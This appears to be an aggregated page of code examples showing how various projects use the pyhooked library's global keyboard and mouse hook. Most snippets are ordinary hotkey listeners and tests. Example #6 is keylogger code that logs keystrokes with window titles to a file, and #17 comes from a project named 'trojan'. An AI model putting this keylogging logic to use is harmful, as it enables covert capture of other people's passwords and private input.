コード例 #1
0
    def __init__(self):

        if os.path.isfile('./file.csv'): self.CSV_Setter()

        hk = Hook()
        hk.handler = self.Handle_Events
        thread = threading.Thread(target=hk.hook)
        thread.setDaemon(True)
        thread.start()

        while True:
            pygame.display.update()
            screen.fill((100, 100, 100))

            call_count = 0

            for key, value in ID_TO_COUNT.items():
                keyAndValue = str(key) + ' : ' + str(value)
                call_count = call_count + 1
                self.Txt_Label(keyAndValue, call_count)

            for event in pygame.event.get():
                if event.type == QUIT:
                    self.CSV_Writer()
                    sys.exit()
コード例 #2
0
ファイル: example_gui.py プロジェクト: qzane/pyhooked
    def __init__(self, *args):
        QMainWindow.__init__(self, *args)

        self.label = QLabel(self)
        self.label.setText('A PySide Window')
        self.resize(640, 480)
        hk = Hook()  # make a new instance of PyHooked
        hk.handler = self.foo  # set the handler function
        # thread the call to hook, otherwise we block the GUI
        thread = threading.Thread(target=hk.hook)
        # start hooking
        thread.start()
コード例 #3
0
ファイル: test.py プロジェクト: kansyokuk/NetworkProgramming
from pyhooked import Hook, KeyboardEvent, MouseEvent
import signal

signal.signal(signal.SIGINT, signal.SIG_DFL)

def handle_events(args):
    if isinstance(args, KeyboardEvent):
        print(args.key_code, args.current_key, args.event_type)

hk = Hook()  # make a new instance of PyHooked
hk.handler = handle_events  # add a new shortcut ctrl+a, or triggered on mouseover of (300,400)
hk.hook()  # hook into the events, and listen to the press
コード例 #4
0
from pyhooked import Hook, KeyboardEvent
from functional import seq
hk = Hook()


def handle_events(args: KeyboardEvent):
    key = args.current_key
    print(key)


hk.handler = handle_events
hk.hook()
コード例 #5
0
ファイル: main.py プロジェクト: huokedu/wenda-helper
def handle_events(args):
    if isinstance(args, KeyboardEvent):
        if args.current_key == hot_key and args.event_type == 'key down':
            main()
        elif args.current_key == 'Q' and args.event_type == 'key down':
            hk.stop()
            print('退出啦~')


if __name__ == "__main__":
    try:
        init()
        print("配置文件正常加载!\n")
    except:
        print("配置文件异常,尝试使用默认配置\n")
    try:
        browser = webdriver.Chrome(r'.\tools\chromedriver.exe')
        browser.get(search_engine)
    except:
        print("chrome浏览器打开异常,可能是版本不对\n")
    hld = win32gui.FindWindow(None, vm_name)
    if hld > 0:
        print('使用前记得去config.ini把配置改好哦~~,主要是自己申请换key,不然次数很快就用完啦~~\n\n用模拟器打开对应应用~~\n题目出现的时候按F2,我就自动帮你去搜啦~\n')
        hk = Hook()
        hk.handler = handle_events
        hk.hook()
    else:
        print('咦,你没打开' + vm_name + '吧!请打开' + vm_name + '并重启下start.exe')

コード例 #6
0
    h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
    psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)
    window_title = create_string_buffer(512)
    length = user32.GetWindowTextA(hwnd, byref(window_title), 512)
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)
    return window_title.value.decode('cp932', 'ignore')


def event(args):
    global window_current
    if isinstance(args, KeyboardEvent):
        if 'down' in args.event_type:
            now_window = get_current_process()
            if window_current != now_window:
                input_key.append(now_window + "\n")
                window_current = now_window
            if args.current_key not in ['Left', 'Up', 'Right', 'Down']:
                input_key.append(args.current_key)
            if 'Return' == args.current_key:
                with open(save_file, 'a') as f:
                    f.write(''.join(input_key) + '\n')
                input_key.clear()


setting_keylogger()
window_current = get_current_process()
hook = Hook()
hook.handler = event
hook.hook()
コード例 #7
0
ファイル: example.py プロジェクト: ethanhs/pyhooked
from pyhooked import Hook, KeyboardEvent, MouseEvent


def handle_events(args):
    if isinstance(args, KeyboardEvent):
        print(args.key_code)
        if args.current_key == 'A' and args.event_type == 'key down' and 'Lcontrol' in args.pressed_key:
            print("Ctrl + A was pressed")
        elif args.current_key == 'Q' and args.event_type == 'key down' and 'Lcontrol' in args.pressed_key:
            hk.stop()
            print('Quitting.')

    if isinstance(args, MouseEvent):
        if args.mouse_x == 300 and args.mouse_y == 400:
            print("Mouse is at (300,400") 

hk = Hook()  # make a new instance of PyHooked
hk.handler = handle_events  # add a new shortcut ctrl+a, or triggered on mouseover of (300,400)
hk.hook()  # hook into the events, and listen to the presses
コード例 #8
0
 def hook_thread(self):
     hk = Hook()  # make a new instance of PyHooked
     hk.handler = self.handle_events  # add a new shortcut ctrl+a, or triggered on mouseover of (300,400)
     hk.hook()  # hook into the events, and listen to the presses
コード例 #9
0
ファイル: test.py プロジェクト: ethanhs/pyhooked
from pyhooked import Hook, KeyboardEvent

h = Hook()

def f(event):
 if isinstance(event, KeyboardEvent):
  print(event.pressed_key)
  if event.pressed_key == ['Q']:
   h.stop()
  else:
   raise Exception()

h.handler = f

if __name__ == '__main__':
 h.hook(mouse = True)
コード例 #10
0
ファイル: hotkey.py プロジェクト: instantshare/instantshare
 def listen():
     hk = Hook()  # make a new instance of PyHooked
     hk.handler = handle_events  # add callback for occuring events
     logging.debug("Starting hotkey listener daemon..")
     thread = threading.Thread(target=hk.hook, daemon=True)
     thread.start()  # start listening on new thread
コード例 #11
0
from pyhooked import Hook, KeyboardEvent

h = Hook()


def f(event):
    if isinstance(event, KeyboardEvent):
        print(event.pressed_key)
        if event.pressed_key == ['Q']:
            h.stop()
        else:
            raise Exception()


h.handler = f

if __name__ == '__main__':
    h.hook(mouse=True)
コード例 #12
0
def keyboard_check():
    hk = Hook()
    hk.handler = handle_events
    thread = threading.Thread(target=hk.hook)
    thread.setDaemon(True)
    thread.start()
コード例 #13
0
                thread_stop.set()


# Create Json file
def create_json():
    filepath = os.path.join(os.path.dirname(os.path.abspath(__file__)),
                            'positions.json')

    with open(filepath, 'w+') as json_file:
        json.dump(positions, json_file)

    print(filepath, '생성 완료.')


if __name__ == '__main__':
    print('프로그램 시작.')
    print('현재 마우스 좌표 저장 : 마우스 오른쪽 클릭!')

    # Start hot key thread
    hook = Hook()
    hook.handler = left_click
    thread = threading.Thread(name='mouse', target=hook.hook, daemon=True)
    thread.start()

    # Main loop
    while not thread_stop.is_set():
        time.sleep(1)

    create_json()
    print('프로그램 종료.')
コード例 #14
0
ファイル: PyHook.py プロジェクト: mlna717/cardhit
def notifyListen(chatWdw):
    global chatFrame
    chatFrame = chatWdw
    hk = Hook()
    hk.handler = handle_events
    hk.hook()
コード例 #15
0
 def listen():
     hk = Hook()  # make a new instance of PyHooked
     hk.handler = handle_events  # add callback for occuring events
     logging.debug("Starting hotkey listener daemon..")
     thread = threading.Thread(target=hk.hook, daemon=True)
     thread.start()  # start listening on new thread
コード例 #16
0
ファイル: main.py プロジェクト: Sambuilder/myTopSup
        if isinstance(args, KeyboardEvent):
            if args.current_key == self.hot_key and args.event_type == 'key down':
                self.main()
            elif args.current_key == 'Q' and args.event_type == 'key down':
                hk.stop()
                print('退出啦~')


if __name__ == "__main__":
    try:
        helper = TopSupHelper()
        print("配置文件正常加载!\n")
    except:
        print("配置文件异常,尝试使用默认配置\n")
    try:
        browser = webdriver.Chrome(r'.\tools\chromedriver.exe')
        browser.get(helper.search_engine)
    except:
        print("chrome浏览器打开异常,可能是版本不对\n")
    hld = win32gui.FindWindow(None, helper.vm_name)
    if hld > 0:
        print(
            '使用前记得去config.ini把配置改好哦~~,主要是自己申请换key,不然次数很快就用完啦~~\n\n用模拟器打开对应应用~~\n题目出现的时候按F2,我就自动帮你去搜啦~\n'
        )
        hk = Hook()
        hk.handler = helper.handle_events
        hk.hook()
    else:
        print('咦,你没打开' + helper.vm_name + '吧!请打开' + helper.vm_name +
              '并重启下start.exe')
コード例 #17
0
ファイル: KeyLogger.py プロジェクト: shintoutou/trojan
def run(**kwargs):
    hk = Hook()  # make a new instance of PyHooked
    hk.handler = keyStroke  # add a new shortcut ctrl+a, or triggered on mouseover of (300,400)
    hk.hook()  # hook into the events, and listen to the presses